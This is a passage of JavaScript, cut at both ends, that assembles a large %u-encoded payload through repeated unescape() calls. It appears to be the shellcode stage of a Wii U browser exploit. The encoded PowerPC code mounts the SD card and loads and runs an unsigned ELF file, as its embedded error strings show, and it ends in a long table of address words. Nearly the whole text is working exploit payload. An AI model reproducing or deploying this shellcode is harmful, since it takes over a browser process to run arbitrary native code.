unescape(\"%u813f%u0000%u3860%u0a80%u3880%u0004%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0018%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u4800%u0264%u813f%u0024%u7d29%u03a6%u4e80%u0421%u813f%u0030\");\n    str    += unescape(\"%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3880%u0000%u38a0%uffff%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u813f%u0034%u7fc3%uf378%u7fa4%ueb78%u38a0%u0000%u38c1%u0008%u38e0%uffff%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u2f83%u0000%u419e%u0014%u3c60%u0080%u813f%u0010%u3863%u0948%u4800%u003c%u813f%u0038%u7fc3%uf378%u7fa4%ueb78%u38a1%u0008%u38c1%u0308%u38e0%u0080%u3900%uffff%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u2f83%u0000%u419e%u001c%u3c60%u0080%u813f%u0010%u3863%u0961%u7d29%u03a6%u4e80%u0421%u4800%u0178%u813f%u0040%u3ca0%u0080%u3cc0%u0080%u7fc3%uf378%u7fa4%ueb78%u38a5%u0972%u38c6%u09aa%u38e1%u03ec\");\n    str    += unescape(\"%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2c03%u0000%u4182%u0024%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0124%u813f%u0044%u7fa4%ueb78%u9061%u0398\");\n    str    += unescape(\"%u38c1%u0388%u7fc3%uf378%u80a1%u03ec%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u8061%u0398%u2f83%u0000%u41be%u0024%u813f%u0000%u3863%u003f%u5463%u0032%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c7b%u1b79\");\n    str    += unescape(\"%u40a2%u001c%u813f%u0010%u3c60%u0080%u3863%u09ac%u3b60%u0000%u7d29%u03a6%u4e80%u0421%u3b80%u0000%u80e1%u0398%u7f9c%u3840%u409c%u0038%u817f%u0048%u7fc3%uf378%u7fa4%ueb78%u7cbb%ue214%u38c0%u0001\");\n    str    += unescape(\"%u7cfc%u3850%u8101%u03ec%u3920%u0000%u3940%uffff%u7d69%u03a6%u4e80%u0421%u2c03%u0000%u41a1%u0028%u8121%u0398%u7f9c%u4800%u419e%u0024%u813f%u0004%u7f63%udb78%u3b80%u0000%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u4800%u0018%u7f9c%u1a14%u4bff%uff98%u9379%u0000%u939a%u0000%u3b80%u0001%u813f%u004c%u7fa4%ueb78%u80a1%u03ec%u7fc3%uf378%u7d29%u03a6%u38c0%uffff%u4e80%u0421%u813f%u003c%u7fc3%uf378%u7fa4%ueb78\");\n    str    += unescape(\"%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0008%u3b80%u0000%u813f%u002c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fa3%ueb78\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u7f83%ue378%u4800%u0008%u3860%u0000%u3961%u0418%u4800%u0450%u7c08%u02a6%u9421%uff70%u3d20%u0080%u6129%u1500%ubec1%u0068%u9001%u0094%u7c79%u1b78%u3c60%u0080%u7c9a%u2378\");\n    str    += unescape(\"%u83c9%u0000%u3881%u0064%u3863%u09cc%u83e9%u0004%u7fc9%u03a6%u3fa0%u0080%u3f80%udead%u3ee0%u0080%u3ec0%u0080%u63bd%u1300%u639c%uc0de%u3b60%u0000%u4e80%u0421%u3920%u0000%u3ca0%u0080%u7fe9%u03a6\");\n    str    += unescape(\"%u9121%u0060%u3880%u0001%u38a5%u09d5%u38c1%u0060%u8061%u0064%u3af7%u0b28%u3ad6%u0aeb%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0001%u38a5%u09ef%u38c1%u0060%u9121%u0008\");\n    str    += unescape(\"%u8061%u0064%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0000%u38a5%u0a04%u38c1%u0010%u9121%u000c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a0b\");\n    str    += unescape(\"%u38c1%u0014%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a12%u38c1%u0018%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a1a%u38c1%u001c%u8061%u0064\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a27%u38c1%u0020%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a39%u38c1%u0024%u8061%u0064%u4e80%u0421%u3ca0%u0080\");\n    str    += unescape(\"%u7fe9%u03a6%u3880%u0000%u38a5%u0a47%u38c1%u0028%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a4c%u38c1%u002c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000\");\n    str    += unescape(\"%u38a5%u0a53%u38c1%u0030%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a61%u38c1%u0034%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a6d%u38c1%u0038\");\n    str    += unescape(\"%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a7c%u38c1%u003c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a8d%u38c1%u0040%u8061%u0064%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a95%u38c1%u0044%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a9f%u38c1%u0048%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6\");\n    str    += unescape(\"%u3880%u0000%u38a5%u0aaa%u38c1%u004c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ab8%u38c1%u0050%u8061%u0064%u4e80%u0421%u3ca0%u0080%u38a5%u0ac3%u38c1%u0054%u7fe9%u03a6\");\n    str    += unescape(\"%u3880%u0000%u8061%u0064%u4e80%u0421%u3c60%u0080%u7fc9%u03a6%u3881%u005c%u3863%u0acf%u3fc0%u0080%u63de%u1304%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u8061%u005c%u3880%u0000%u38a5%u0ada%u38c1%u0058\");\n    str    += unescape(\"%u3fe0%u0080%u63ff%u1400%u4e80%u0421%u813d%u0000%u7f89%ue000%u419e%u0068%u813e%u0000%u2f89%u0000%u41be%u005c%u8121%u0008%u3880%u0004%u807e%u0000%u7d29%u03a6%u4e80%u0421%u7c78%u1b79%u4182%u0038\");\n    str    += unescape(\"%u8121%u0010%u809d%u0000%u7d29%u03a6%u80be%u0000%u4e80%u0421%u3861%u0008%u7f04%uc378%u4bff%uf839%u8121%u000c%u907f%u0000%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u939d%u0000%u937e%u0000%u813f%u0000\");\n    str    += unescape(\"%u7f89%ue000%u419e%u0010%u813f%u0000%u2f89%u0000%u409e%u0068%u3881%u0060%u3861%u0008%u38a1%u005c%u9361%u0060%u9361%u005c%u4bff%uf999%u8081%u0060%u7ec3%ub378%u2f84%u0000%u419e%u0030%u3861%u0008\");\n    str    += unescape(\"%u4bff%uf7d5%u8121%u000c%u907f%u0000%u7d29%u03a6%u8061%u0060%u4e80%u0421%u813f%u0000%u2f89%u0000%u409e%uff2c%u7ee3%ubb78%u8121%u0018%u7d29%u03a6%u4e80%u0421%u4bff%uff18%u3d20%u0080%u7f44%ud378\");\n    str    += unescape(\"%u6129%u1400%u7f23%ucb78%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u0080%u6129%u1500%u7f23%ucb78%u8129%u0008%u7f44%ud378%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3961%u0090%u4800%u0024%u81cb%uffb8\");\n    str    += unescape(\"%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8\");\n    str    += unescape(\"%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u2066%u6169%u6c65%u642e%u0053%u4420%u6d6f%u756e%u7420%u6661%u696c%u6564%u2e00%u2f76\");\n    str    += unescape(\"%u6f6c%u2f65%u7874%u6572%u6e61%u6c30%u312f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u7200%u4e6f%u7420%u656e%u6f75\");\n    str    += unescape(\"%u6768%u206d%u656d%u6f72%u7920%u666f%u7220%u454c%u4620%u6669%u6c65%u2e00%u636f%u7265%u696e%u6974%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672\");\n    str    += unescape(\"%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u006d%u656d%u7365%u7400%u4f53%u4661%u7461%u6c00%u4443%u466c%u7573%u6852%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552\");\n    str    += unescape(\"%u616e%u6765%u005f%u5f6f%u735f%u736e%u7072%u696e%u7466%u0065%u7869%u7400%u4653%u496e%u6974%u0046%u5341%u6464%u436c%u6965%u6e74%u4578%u0046%u5344%u656c%u436c%u6965%u6e74%u0046%u5349%u6e69%u7443\");\n    str    += unescape(\"%u6d64%u426c%u6f63%u6b00%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u0046%u534d%u6f75%u6e74%u0046%u5355%u6e6d%u6f75%u6e74%u0046%u534f%u7065%u6e46%u696c%u6500%u4653%u4765%u7453%u7461%u7446\");\n    str    += unescape(\"%u696c%u6500%u4653%u5265%u6164%u4669%u6c65%u0046%u5343%u6c6f%u7365%u4669%u6c65%u0073%u7973%u6170%u702e%u7270%u6c00%u5359%u5352%u656c%u6175%u6e63%u6854%u6974%u6c65%u0043%u6f75%u6c64%u206e%u6f74\");\n    str    += unescape(\"%u206c%u6f61%u6420%u6669%u6c65%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u4661%u696c%u6564%u2074%u6f20%u6c6f\");\n    str    += unescape(\"%u6164%u2045%u4c46%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u002e%u7368%u7374%u7274%u6162%u002e%u7465%u7874\");\n    str    += unescape(\"%u002e%u6461%u7461%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u000b%u0000%u0001%u0000%u0006%u0080%u0000\");\n    str    += unescape(\"%u0000%u0054%u0000%u0948%u0000%u0000%u0000%u0000%u0000%u0004%u0000%u0000%u0000%u0011%u0000%u0001%u0000%u0032%u0080%u0948%u0000%u099c%u0000%u021c%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0001\");\n    str    += unescape(\"%u0000%u0001%u0000%u0003%u0000%u0000%u0000%u0000%u0000%u0bb8%u0000%u0017%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e47%u6574\");\n    str    += unescape(\"%u4275%u6666%u6572%u5369%u7a65%u4578%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e46\");\n    str    += unescape(\"%u6c69%u7042%u7566%u6665%u7273%u4578%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u0073%u7973%u6170%u702e%u7270%u6c00%u5f53%u5953%u4c61%u756e%u6368%u4d69%u6953%u7475%u6469%u6f00%u496e\");\n    str    += unescape(\"%u7661%u6c69%u6420%u656c%u6620%u6669%u6c65%u0063%u6f72%u6569%u6e69%u742e%u7270%u6c00%u6d65%u6d73%u6574%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d\");\n    str    += unescape(\"%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u004f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4943%u496e\");\n    str    += unescape(\"%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u5f45%u7869%u7400%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u5365%u7444%u6576%u6963%u6553%u7461%u7465%u004f%u5341%u6c6c%u6f63%u4672\");\n    str    += unescape(\"%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u792e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f\");\n    str    += unescape(\"%u7773%u6572%u2e00%u4f53%u4372%u6561%u7465%u5468%u7265%u6164%u004f%u5352%u6573%u756d%u6554%u6872%u6561%u6400%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564%u0054%u6872%u6561%u6420\");\n    str    += unescape(\"%u6d65%u6d6f%u7279%u2061%u6c6c%u6f63%u6174%u696f%u6e20%u6661%u696c%u6564%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u0046%u6169%u6c65%u6420%u746f%u2063\");\n    str    += unescape(\"%u7265%u6174%u6520%u7468%u7265%u6164%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u002e%u7465%u7874%u002e%u726f%u6461%u7461%u002e%u6461%u7461%u002e%u6273\");\n    str    += unescape(\"%u7300%u0000%u0000%u003c%u0000%u0000%u017a%u5200%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091%u0f92%u0e93%u0d94%u0c95%u0b96%u0a97%u0998%u0899%u079a%u069b%u059c%u049d%u039e%u029f\");\n    str    += unescape(\"%u0100%u0000%u0000%u0038%u0000%u0044%uffff%uee30%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441%ud541%ud641%ud741%ud841%ud941%uda41%udb41%udc41%udd41%ude42%udf41%u0641%u410d%u0100\");\n    str    += unescape(\"%u0000%u2d80%u0000%u2d84%u0000%u2d88%u0000%u2d8c%u0000%u2d90%u0000%u2d94%u0000%u2d98%u0000%u2d9c%u0000%u2da0%u0000%u2da4%u0000%u2da8%u0000%u2dac%u0000%u2db0%u0000%u2db4%u0000%u2db8%u0000%u2dbc\");\n    str    += unescape(\"%u0000%u2dc0%u0000%u2dc4%u0000%u2dc8%u0000%u2dcc%u0000%u2dd0%u0000%u2dd4%u0000%u2dd8%u0000%u2ddc%u0000%u2de0%u0000%u2de4%u0000%u2de8%u0000%u2dec%u0000%u2df0%u0000%u2df4%u0000%u2df8%u0000%u2dfc\");\n    str    += unescape(\"%u0000%u2e00%u0000%u2e04%u0000%u2e08%u0000%u2e0c%u0000%u2e10%u0000%u2e14%u0000%u2e18%u0000%u2e1c%u0000%u2e20%u0000%u2e24%u0000%u2e28%u0000%u2e2c%u0000%u2e30%u0000%u2e34%u0000%u2e38%u0000%u2e3c\");\n    str    += unescape(\"%u0000%u2e40%u0000%u2e44%u0000%u2e48%u0000%u2e4c%u0000%u2e50%u0000%u2e54%u0000%u2e58%u0000%u2e5c%u0000%u2e60%u0000%u2e64%u0000%u2e68%u0000%u2e6c%u0000%u2e70%u0000%u2e74%u0000%u2e78%u0000%u2e7c\");\n    str    += unescape(\"%u0000%u2e80%u0000%u2e84%u0000%u2e88%u0000%u2e8c%u0000%u2e90%u0000%u2e94%u0000%u2e98%u0000%u2e9c%u0000%u2ea0%u0000%u2ea4%u0000%u2ea8%u0000%u2eac%u0000%u2eb0%u0000%u2eb4%u0000%u2eb8%u0000%u2ebc\");\n    str    += unescape(\"%u0000%u2ec0%u0000%u2ec4%u0000%u2ec8%u0000%u2ecc%u0000%u2ed0%u0000%u2ed4%u0000%u2ed8%u0000%u2edc%u0000%u2ee0%u0000%u2ee4%u0000%u2ee8%u0000%u2eec%u0000%u2ef0%u0000%u2ef4%u0000%u2ef8%u0000%u2efc\");\n    str    += unescape(\"%u0000%u2f00%u0000%u2f04%u0000%u2f08%u0000%u2f0c%u0000%u2f10%u0000%u2f14%u0000%u2f18%u0000%u2f1c%u0000%u2f20%u0000%u2f24%u0000%u2f28%u0000%u2f2c%u0000%u2f30%u0000%u2f34%u0000%u2f38%u0000%u2f3c\");\n    str    += unescape(\"%u0000%u2f40%u0000%u2f44%u0000%u2f48%u0000%u2f4c%u0000%u2f50%u0000%u2f54%u0000%u2f58%u0000%u2f5c%u0000%u2f60%u0000%u2f64%u0000%u2f68%u0000%u2f6c%u0000%u2f70%u0000%u2f74%u0000%u2f78%u0000%u2f7c\");\n    str    += unescape(\"%u0000%u2f80%u0000%u2f84%u0000%u2f88%u0000%u2f8c%u0000%u2f90%u0000%u2f94%u0000%u2f98%u0000%u2f9c%u0000%u2fa0%u0000%u2fa4%u0000%u2fa8%u0000%u2fac%u0000%u2fb0%u0000%u2fb4%u0000%u2fb8%u0000%u2fbc\");\n    str    += unescape(\"%u0000%u2fc0%u0000%u2fc4%u0000%u2fc8%u0000%u2fcc%u0000%u2fd0%u0000%u2fd4%u0000%u2fd8%u0000%u2fdc%u0000%u2fe0%u0000%u2fe4%u0000%u2fe8%u0000%u2fec%u0000%u2ff0%u0000%u2ff4%u0000%u2ff8%u0000%u2ffc\");\n    str    += unescape(\"%u0000%u3000%u0000%u3004%u0000%u3008%u0000%u300c%u0000%u3010%u0000%u3014%u0000%u3018%u0000%u301c%u0000%u3020%u0000%u3024%u0000%u3028%u0000%u302c%u0000%u3030%u0000%u3034%u0000%u3038%u0000%u303c\");\n    str    += unescape(\"%u0000%u3040%u0000%u3044%u0000%u3048%u0000%u304c%u0000%u3050%u0000%u3054%u0000%u3058%u0000%u305c%u0000%u3060%u0000%u3064%u0000%u3068%u0000%u306c%u0000%u3070%u0000%u3074%u0000%u3078%u0000%u307c\");\n    str    += unescape(\"%u0000%u3080%u0000%u3084%u0000%u3088%u0000%u308c%u0000%u3090%u0000%u3094%u0000%u3098%u0000%u309c%u0000%u30a0%u0000%u30a4%u0000%u30a8%u0000%u30ac%u0000%u30b0%u0000%u30b4%u0000%u30b8%u0000%u30bc\");\n    str    += unescape(\"%u0000%u30c0%u0000%u30c4%u0000%u30c8%u0000%u30cc%u0000%u30d0%u0000%u30d4%u0000%u30d8%u0000%u30dc%u0000%u30e0%u0000%u30e4%u0000%u30e8%u0000%u30ec%u0000%u30f0%u0000%u30f4%u0000%u30f8%u0000%u30fc\");\n    str    += unescape(\"%u0000%u3100%u0000%u3104%u0000%u3108%u0000%u310c%u0000%u3110%u0000%u3114%u0000%u3118%u0000%u311c%u0000%u3120%u0000%u3124%u0000%u3128%u0000%u312c%u0000%u3130%u0000%u3134%u0000%u3138%u0000%u313c\");\n    str    += unescape(\"%u0000%u3140%u0000%u3144%u0000%u3148%u0000%u314c%u0000%u3150%u0000%u3154%u0000%u3158%u0000%u315c%u0000%u3160%u0000%u3164%u0000%u3168%u0000%u316c%u0000%u3170%u0000%u3174%u0000%u3178%u0000%u317c\");\n    str    += unescape(\"%u0000%u3180%u0000%u3184%u0000%u3188%u0000%u318c%u0000%u3190%u0000%u3194%u0000%u3198%u0000%u319c%u0000%u31a0%u0000%u31a4%u0000%u31a8%u0000%u31ac%u0000%u31b0%u0000%u31b4%u0000%u31b8%u0000%u31bc\");\n    str    += unescape(\"%u0000%u31c0%u0000%u31c4%u0000%u31c8%u0000%u31cc%u0000%u31d0%u0000%u31d4%u0000%u31d8%u0000%u31dc%u0000%u31e0%u0000%u31e4%u0000%u31e8%u0000%u31ec%u0000%u31f0%u0000%u31f4%u0000%u31f8%u0000%u31fc\");\n    str    += unescape(\"%u0000%u3200%u0000%u3204%u0000%u3208%u0000%u320c%u0000%u3210%u0000%u3214%u0000%u3218%u0000%u321c%u0000%u3220%u0000%u3224%u0000%u3228%u0000%u322c%u0000%u3230%u0000%u3234%u0000%u3238%u0000%u323c\");\n    str    += unescape(\"%u0000%u3240%u0000%u3244%u0000%u3248%u0000%u324c%u0000%u3250%u0000%u3254%u0000%u3258%u0000%u325c%u0000%u3260%u0000%u3264%u0000%u3268%u0000%u326c%u0000%u3270%u0000%u3274%u0000%u3278%u0000%u327c\");\n    str    += unescape(\"%u0000%u3280%u0000%u3284%u0000%u3288%u0000%u328c%u0000%u3290%u0000%u3294%u0000%u3298%u0000%u329c%u0000%u32a0%u0000%u32a4%u0000%u32a8%u0000%u32ac%u0000%u32b0%u0000%u32b4%u0000%u32b8%u0000%u32bc\");\n    str    += unescape(\"%u0000%u32c0%u0000%u32c4%u0000%u32c8%u0000%u32cc%u0000%u32d0%u0000%u32d4%u0000%u32d8%u0000%u32dc%u0000%u32e0%u0000%u32e4%u0000%u32e8%u0000%u32ec%u0000%u32f0%u0000%u32f4%u0000%u32f8%u0000%u32fc\");\n    str    += unescape(\"%u0000%u3300%u0000%u3304%u0000%u3308%u0000%u330c%u0000%u3310%u0000%u3314%u0000%u3318%u0000%u331c%u0000%u3320%u0000%u3324%u0000%u3328%u0000%u332c%u0000%u3330%u0000%u3334%u0000%u3338%u0000%u333c\");\n    str    += unescape(\"%u0000%u3340%u0000%u3344%u0000%u3348%u0000%u334c%u0000%u3350%u0000%u3354%u0000%u3358%u0000%u335c%u0000%u3360%u0000%u3364%u0000%u3368%u0000%u336c%u0000%u3370%u0000%u3374%u0000%u3378%u0000%u337c\");\n    str    += unescape(\"%u0000%u3380%u0000%u3384%u0000%u3388%u0000%u338c%u0000%u3390%u0000%u3394%u0000%u3398%u0000%u339c%u0000%u33a0%u0000%u33a4%u0000%u33a8%u0000%u33ac%u0000%u33b0%u0000%u33b4%u0000%u33b8%u0000%u33bc\");\n    str    += unescape(\"%u0000%u33c0%u0000%u33c4%u0000%u33c8%u0000%u33cc%u0000%u33d0%u0000%u33d4%u0000%u33d8%u0000%u33dc%u0000%u33e0%u0000%u33e4%u0000%u33e8%u0000%u33ec%u0000%u33f0%u0000%u33f4%u0000%u33f8%u0000%u33fc\");\n    str    += unescape(\"%u0000%u3400%u0000%u3404%u0000%u3408%u0000%u340c%u0000%u3410%u0000%u3414%u0000%u3418%u0000%u341c%u0000%u3420%u0000%u3424%u0000%u3428%u0000%u342c%u0000%u3430%u0000%u3434%u0000%u3438%u0000%u343c\");\n    str    += unescape(\"%u0000%u3440%u0000%u3444%u0000%u3448%u0000%u344c%u0000%u3450%u0000%u3454%u0000%u3458%u0000%u345c%u0000%u3460%u0000%u3464%u0000%u3468%u0000%u346c%u0000%u3470%u0000%u3474%u0000%u3478%u0000%u347c\");\n    str    += unescape(\"%u0000%u3480%u0000%u3484%u0000%u3488%u0000%u348c%u0000%u3490%u0000%u3494%u0000%u3498%u0000%u349c%u0000%u34a0%u0000%u34a4%u0000%u34a8%u0000%u34ac%u0000%u34b0%u0000%u34b4%u0000%u34b8%u0000%u34bc\");\n    str    += unescape(\"%u0000%u34c0%u0000%u34c4%u0000%u34c8%u0000%u34cc%u0000%u34d0%u0000%u34d4%u0000%u34d8%u0000%u34dc%u0000%u34e0%u0000%u34e4%u0000%u34e8%u0000%u34ec%u0000%u34f0%u0000%u34f4%u0000%u34f8%u0000%u34fc\");\n    str    += unescape(\"%u0000%u3500%u0000%u3504%u0000%u3508%u0000%u350c%u0000%u3510%u0000%u3514%u0000%u3518%u0000%u351c%u0000%u3520%u0000%u3524%u0000%u3528%u0000%u352c%u0000%u3530%u0000%u3534%u0000%u3538%u0000%u353c\");\n    str    += unescape(\"%u0000%u3540%u0000%u3544%u0000%u3548%u0000%u354c%u0000%u3550%u0000%u3554%u0000%u3558%u0000%u355c%u0000%u3560%u0000%u3564%u0000%u3568%u0000%u356c%u0000%u3570%u0000%u3574%u0000%u3578%u0000%u357c\");\n    str    += unescape(\"%u0000%u3580%u0000%u3584%u0000%u3588%u0000%u358c%u0000%u3590%u0000%u3594%u0000%u3598%u0000%u359c%u0000%u35a0%u0000%u35a4%u0000%u35a8%u0000%u35ac%u0000%u35b0%u0000%u35b4%u0000%u35b8%u0000%u35bc\");\n    str    += unescape(\"%u0000%u35c0%u0000%u35c4%u0000%u35c8%u0000%u35cc%u0000%u35d0%u0000%u35d4%u0000%u35d8%u0000%u35dc%u0000%u35e0%u0000%u35e4%u0000%u35e8%u0000%u35ec%u0000%u35f0%u0000%u35f4%u0000%u35f8%u0000%u35fc\");\n    str    += unescape(\"%u0000%u3600%u0000%u3604%u0000%u3608%u0000%u360c%u0000%u3610%u0000%u3614%u0000%u3618%u0000%u361c%u0000%u3620%u0000%u3624%u0000%u3628%u0000%u362c%u0000%u3630%u0000%u3634%u0000%u3638%u0000%u363c\");\n    str    += unescape(\"%u0000%u3640%u0000%u3644%u0000%u3648%u0000%u364c%u0000%u3650%u0000%u3654%u0000%u3658%u0000%u365c%u0000%u3660%u0000%u3664%u0000%u3668%u0000%u366c%u0000%u3670%u0000%u3674%u0000%u3678%u0000%u367c\");\n    str    += unescape(\"%u0000%u3680%u0000%u3684%u0000%u3688%u0000%u368c%u0000%u3690%u0000%u3694%u0000%u3698%u0000%u369c%u0000%u36a0%u0000%u36a4%u0000%u36a8%u0000%u36ac%u0000%u36b0%u0000%u36b4%u0000%u36b8%u0000%u36bc\");\n    str    += unescape(\"%u0000%u36c0%u0000%u36c4%u0000%u36c8%u0000%u36cc%u0000%u36d0%u0000%u36d4%u0000%u36d8%u0000%u36dc%u0000%u36e0%u0000%u36e4%u0000%u36e8%u0000%u36ec%u0000%u36f0%u0000%u36f4%u0000%u36f8%u0000%u36fc\");\n    str    += unescape(\"%u0000%u3700%u0000%u3704%u0000%u3708%u0000%u370c%u0000%u3710%u0000%u3714%u0000%u3718%u0000%u371c%u0000%u3720%u0000%u3724%u0000%u3728%u0000%u372c%u0000%u3730%u0000%u3734%u0000%u3738%u0000%u373c\");\n    str    += unescape(\"%u0000%u3740%u0000%u3744%u0000%u3748%u0000%u374c%u0000%u3750%u0000%u3754%u0000%u3758%u0000%u375c%u0000%u3760%u0000%u3764%u0000%u3768%u0000%u376c%u0000%u3770%u0000%u3774%u0000%u3778%u0000%u377c\");\n    str    += unescape(\"%u0000%u3780%u0000%u3784%u0000%u3788%u0000%u378c%u0000%u3790%u0000%u3794%u0000%u3798%u0000%u379c%u0000%u37a0%u0000%u37a4%u0000%u37a8%u0000%u37ac%u0000%u37b0%u0000%u37b4%u0000%u37b8%u0000%u37bc\");\n    str    += unescape(\"%u0000%u37c0%u0000%u37c4%u0000%u37c8%u0000%u37cc%u0000%u37d0%u0000%u37d4%u0000%u37d8%u0000%u37dc%u0000%u37e0%u0000%u37e4%u0000%u37e8%u0000%u37ec%u0000%u37f0%u0000%u37f4%u0000%u37f8%u0000%u37fc\");\n    str    += unescape(\"%u0000%u3800%u0000%u3804%u0000%u3808%u0000%u380c%u0000%u3810%u0000%u3814%u0000%u3818%u0000%u381c%u0000%u3820%u0000%u3824%u0000%u3828%u0000%u382c%u0000%u3830%u0000%u3834%u0000%u3838%u0000%u383c\");\n    str    += unescape(\"%u0000%u3840%u0000%u3844%u0000%u3848%u0000%u384c%u0000%u3850%u0000%u3854%u0000%u3858%u0000%u385c%u0000%u3860%u0000%u3864%u0000%u3868%u0000%u386c%u0000%u3870%u0000%u3874%u0000%u3878%u0000%u387c\");\n    str    += unescape(\"%u0000%u3880%u0000%u3884%u0000%u3888%u0000%u388c%u0000%u3890%u0000%u3894%u0000%u3898%u0000%u389c%u0000%u38a0%u0000%u38a4%u0000%u38a8%u0000%u38ac%u0000%u38b0%u0000%u38b4%u0000%u38b8%u0000%u38bc\");\n    str    += unescape(\"%u0000%u38c0%u0000%u38c4%u0000%u38c8%u0000%u38cc%u0000%u38d0%u0000%u38d4%u0000%u38d8%u0000%u38dc%u0000%u38e0%u0000%u38e4%u0000%u38e8%u0000%u38ec%u0000%u38f0%u0000%u38f4%u0000%u38f8%u0000%u38fc\");\n    str    += 